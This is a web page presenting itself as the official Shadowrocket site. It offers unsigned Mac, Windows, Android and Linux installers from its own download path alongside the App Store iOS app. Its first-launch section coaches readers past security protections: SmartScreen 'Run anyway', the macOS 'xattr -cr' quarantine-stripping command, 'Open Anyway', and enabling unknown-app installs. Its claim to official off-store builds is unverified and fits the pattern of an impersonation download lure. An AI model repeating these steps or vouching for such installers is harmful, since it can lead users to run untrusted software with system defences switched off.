Official Manual · Download & Install

Shadowrocket for All Platforms

Get the client for your device: iPhone / iPad costs $2.99 one-time on the App Store; Mac, Windows, Android and Linux versions are free, with installers provided on this site.

Current version v2.2.92 · iPhone / iPad $2.99 one-time; Mac, Windows, Android and Linux versions are free

Download source

iPhone / iPad: App Store
Mac / Windows / Android / Linux: This site

Current version

v2.2.92

Two ways to get it

iPhone / iPad $2.99 one-time
Mac / Windows / Android / Linux free

Developer / App ID

Shadow Launch Technology Limited
932747118

01 / Devices & installers

Choose a platform and processor architecture

Device detection only highlights the current platform; it does not identify your Mac's chip type or Linux distribution. Check your system and architecture before downloading. If your device cannot be identified, choose from the five platform cards below. All desktop and Android installers use this site's /dl/shadowrocket/ path.

iPhone / iPad

$2.99 one-time. Get Shadowrocket for iPhone / iPad from the App Store. Mac, Windows, Android and Linux versions are free, with installers available from this site. The US storefront price is shown above; other storefronts display local currency, and the final amount is set by the store.

System requirements: iOS / iPadOS 13.0 or later; refer to the App Store page for the listed requirements.

Open the product page on your device, verify the developer and app ID, then confirm your purchase. The App Store handles installation and subsequent app updates. If the page does not appear, check the storefront region information instead of repeatedly changing search terms.

Mac

Free. Mac, Windows, Android and Linux versions are provided on this site; iPhone / iPad costs $2.99 one-time on the App Store. Two separate Mac dmg installers are available. Choose the one that matches your processor.

System requirements: macOS 12 or later; Apple silicon or Intel processor.

Not sure which to choose? Open About This Mac and check Chip / Processor. Choose the Apple silicon version if it shows Apple silicon, or Intel if it shows Intel. Once the dmg has downloaded, open it, move Shadowrocket to Applications, then follow the instructions below for first launch.

Windows

Free. Windows, Mac, Android and Linux versions use installers from this site; iPhone / iPad costs $2.99 one-time on the App Store.

Installer architecture: 64-bit, x64 .exe installer.

Check your system type under Settings > System > About. Save the installer before running it; avoid clicking repeatedly while the browser is still downloading. SmartScreen may appear when you first launch the installer. Verify the download source, then select More info > Run anyway. For organization-managed computers, follow the administrator's installation permissions.

Android

Free. Android, Mac, Windows and Linux versions are available from this site; iPhone / iPad costs $2.99 one-time on the App Store.

Installer architecture: arm64 .apk, suitable for most Android phones and tablets from recent years.

Download with your system browser and open the file when the download is complete. If prompted, enable Allow installing unknown apps for the browser used for this download only. You can turn off this permission after installation. If tapping the download in WeChat does nothing, use the top-right menu to open this page in a browser and tap the download button again. There is no need to keep refreshing the in-app page.

Linux

Free. Linux, Mac, Windows and Android installers are provided on this site; iPhone / iPad costs $2.99 one-time on the App Store.

Installer architecture: x86_64; deb packages use the corresponding amd64 architecture label.

Choose .deb for Debian / Ubuntu and .rpm for Fedora / openSUSE. Other distributions can use AppImage; first grant it execute permission. Match the package format to your system's package manager rather than choosing based only on file size. When installing deb or rpm packages, your package manager may report dependencies that need attention. Review the terminal output before continuing.

02 / First launch

Resolve system warnings and allow installation

Desktop and Android installers from this site are not code-signed, so the system may block them on first launch. Confirm that the file came from the corresponding button on this page and that its download path is under this site's /dl/shadowrocket/ directory, then respond to the prompt you see. System warnings and network connection issues are separate; there is no need to change subscription or protocol settings at this stage.

Platform / promptStepsImportant notes
Windows
“Windows protected your PC”
In the SmartScreen window, select More info, verify the program, then select Run anyway and follow the installer. If no option is available or the device is managed by an organization, contact your administrator to confirm permissions. Do not disable system-wide protection to install the app.
macOS
“Cannot verify developer”
Try opening the app first. Then go to System Settings > Privacy & Security, find the relevant blocked app record, select Open Anyway and confirm as prompted. Move the app to Applications first. Allow access only for the Shadowrocket app you just downloaded; do not do the same for files with an unknown name or source.
macOS
App reports that it is “damaged”
Make sure the app is in Applications, then run this command in Terminal: xattr -cr /Applications/Shadowrocket.app and reopen the app. The command applies only to this app path. If it still will not open, check the chip type and confirm the download is complete. Do not run recursive commands on the entire disk.
Android
“Allow installing unknown apps” required
Follow the prompt to open installation permissions for the current browser. Enable Allow installing unknown apps or Allow apps from this source, then return to the downloaded file and continue installation. Settings names vary slightly by manufacturer. Grant permission to the browser that downloaded the file; you can turn it off after installation. The arm64 package does not support other architectures.
Linux AppImage
Execute permission missing
Open a terminal in the directory containing the file. Rename it to Shadowrocket.AppImage, then run: chmod +x ./Shadowrocket.AppImage./Shadowrocket.AppImage Renaming changes only the local filename. You can also allow execution as a program in the file properties. If the terminal reports missing runtime dependencies, follow your distribution's instructions.
Linux deb / rpm
Install with a package manager
Rename the files to Shadowrocket.deb or Shadowrocket.rpm, then run the relevant command in the directory containing the file: sudo apt install ./Shadowrocket.debsudo dnf install ./Shadowrocket.rpmFor openSUSE, run: sudo zypper install ./Shadowrocket.rpm Use apt for Debian / Ubuntu, dnf for Fedora, and zypper for openSUSE. Run only the command for your distribution and review dependency and permission prompts.

If installation fails, note when the prompt appears: during the browser download, when the system opens the file, or after the client launches. If the download is incomplete, download it again. If the package does not match your architecture, choose the correct one. If the system restricts permissions, follow the table above. Separating these cases helps avoid changing existing settings before installation succeeds.

After installation, you still need to import your own subscription or server information. Opening the client only confirms that the program runs; it does not mean a usable connection is configured. Next, read the Getting Started guide and follow the actual Add Server, Subscribe and Global Routing settings.

03 / iPhone / iPad only

App Store and account region

The app is not available in the mainland China store. The country or region associated with your Apple ID determines which App Store storefront your account can see. This is separate from your device's current location and system language. Changing the phone's language or repeatedly switching networks does not replace checking the account's store region.

On your device, go to Settings > Apple ID > Media & Purchases to check the account currently used for the store, then open Country/Region in the account settings. Some systems require tapping View Account first. If multiple accounts are signed in for different purposes, check the one actually used under Media & Purchases rather than relying on the name shown at the top of the device.

If you need to change regions, use Change Country or Region in the settings above and follow Apple's displayed requirements. Account balance, active subscriptions, Family Sharing status and payment methods may affect the change. Whether it can be completed depends on the prompts shown on your account page. This page cannot guarantee that an account can change regions; do not repeatedly submit a request without understanding the prompts.

After confirming the region, use the App Store product button on this page to open the app listing again. If you still cannot find it, check content and age-rating restrictions on the device, then check that the account can access the store normally. iPhone / iPad costs $2.99 one-time on the App Store; Mac, Windows, Android and Linux versions are free. Each storefront displays the final amount in local currency.

04 / Verify the app

Check the developer, official icon and app ID

This is the Shadowrocket official site and manual. Similar names do not identify the same product. For iPhone / iPad, check all three details below; for computers and Android, verify the installer path on this site.

  • Developer Shadow Launch Technology Limited
  • App ID 932747118
  • Official icon White background with a blue-purple outlined rocket

First, check the developer name on the App Store product page: it should be Shadow Launch Technology Limited. Do not rely only on the first search result or treat another listing with a similar name as the same app. Second, check the official icon: a rocket outlined in blue-purple on a white background. The icon is only one check and does not replace verifying the developer and app ID.

Third, verify the app ID at the end of the product link on this page: 932747118. If a page appears to have the same title but its link contains a different app ID, it is not the product linked here. A same-name listing shown as free in the App Store is an imitation and should not be confused with the genuine app: Shadowrocket for iPhone / iPad costs $2.99 one-time, while Mac, Windows, Android and Linux versions are free.

Computer and Android downloads differ from iPhone / iPad downloads. Use the platform card on this page and confirm that the installer link is under this site's /dl/shadowrocket/ path. Do not treat files from unknown sources or modified files as official installers. Verify the download source before allowing it to run; granting permission does not prove a file's identity.

App updates also depend on the platform: check the App Store for iPhone / iPad updates; for Mac, Windows, Android and Linux, return to this page for the current installer. Save your configuration and any necessary information before updating. Afterwards, check the selected Config and Global Routing to avoid mistaking configuration changes for installation problems.

05 / Reinstallation and device migration

Restore purchases and personal settings on a new device

iPhone / iPad purchase history is associated with the original purchasing Apple ID. When you get a new device or reinstall after deleting the app, open App Store > Account > Purchased, find Shadowrocket and download it again. Some systems list apps under Apps; follow the current page to your purchase history. First confirm you are signed in with the original purchasing account, then check whether the purchase record is missing.

An iPhone and iPad using the same Apple ID share one purchase, so there is no charge to download again. The two price tiers remain: iPhone / iPad costs $2.99 one-time on the App Store; Mac, Windows, Android and Linux versions are free. If you already purchased the app but the current page shows a price, check the Media & Purchases account and purchase history before confirming payment again.

Restoring a purchase and restoring configuration are separate tasks. A purchase record restores eligibility to download the client, but users must save or reimport their own subscription addresses, server settings and personal Config. If the old device still works, first make sure you can recover the information you need, then handle the old device. Do not send anyone a complete configuration containing access credentials.

After installing on a new device, reimport your own subscription or server information, check the protocol type, address, port and required settings, then confirm Global Routing. For a computer or Android device, download the installer that matches the new device from this page and migrate your personal configuration in the same way. Confirm system permissions separately on each device; permissions granted on the old device do not automatically apply to the new one.

06 / Pricing and service scope

Two price tiers and where to purchase the client

iPhone / iPad and other platforms

iPhone / iPad costs $2.99 one-time on the App Store, with no monthly client fee. Mac, Windows, Android and Linux versions are free. An iPhone and iPad using the same Apple ID share one purchase. Other storefronts display their currency and final price on the store page.

The Apple silicon and Intel versions of the Mac app are architecture options, not paid feature tiers. Linux deb, rpm and AppImage are also installer formats; choose based on your distribution and architecture, not the file name.

The client and connection information

The client stores connection settings, applies rule-based routing and provides diagnostic features. After downloading or purchasing it, you still need your own subscription or server information. Successful installation and available connection information are separate requirements.

If a connection fails, check that your existing information is valid and complete, and that the rules and policies in Config are as expected. Reinstalling the client does not replace checking settings or automatically fill in missing server information.

07 / Download FAQ

Six things to check before and after installation

Can I use Shadowrocket on a computer or Android phone?

Yes. The Mac, Windows, Android and Linux versions are free and can be downloaded from this site. The iPhone / iPad version costs $2.99 one-time on the App Store. Mac downloads are available for Apple silicon and Intel; Android has an arm64 package.

Which Mac version should I choose: Apple silicon or Intel?

Open About This Mac from the Apple menu. If Chip shows Apple silicon, choose the Apple silicon version. If Processor shows Intel, choose the Intel version. Use your device's actual specifications, not its purchase year.

What should I do if Windows says “Windows protected your PC”?

First confirm the installer is from this site's /dl/shadowrocket/ path. In the SmartScreen prompt, select More info > Run anyway. If the device is managed by an organization and no option is available, contact your administrator. Do not change your organization's security policies.

What should I check if Shadowrocket doesn't appear in the App Store?

Check the country or region associated with your Apple ID first; the app is not available in the mainland China store. Then check age-rating restrictions and account status. Use the product link on this page to verify app ID 932747118; do not rely on the name in search results alone.

Do I need to pay again when I get a new device?

On iPhone / iPad, sign in with the Apple ID used for the original purchase and download the app again from Account > Purchased in the App Store. One purchase can be shared by iPhone and iPad using the same Apple ID; the one-time price is $2.99. Mac, Windows, Android and Linux versions are free and can be downloaded again.

Can I install Shadowrocket on iPad, and what are the system requirements?

Yes. Get the app for iPhone / iPad from the same App Store product page linked here. It requires iOS / iPadOS 13.0 or later; refer to the App Store page for the current system requirements. iPhone / iPad costs $2.99 one-time; Mac, Windows, Android and Linux versions are free.

After installation, continue with the Getting Started guide. If the client opens but connections fail, check the FAQ, then use the technical reference to verify protocol fields.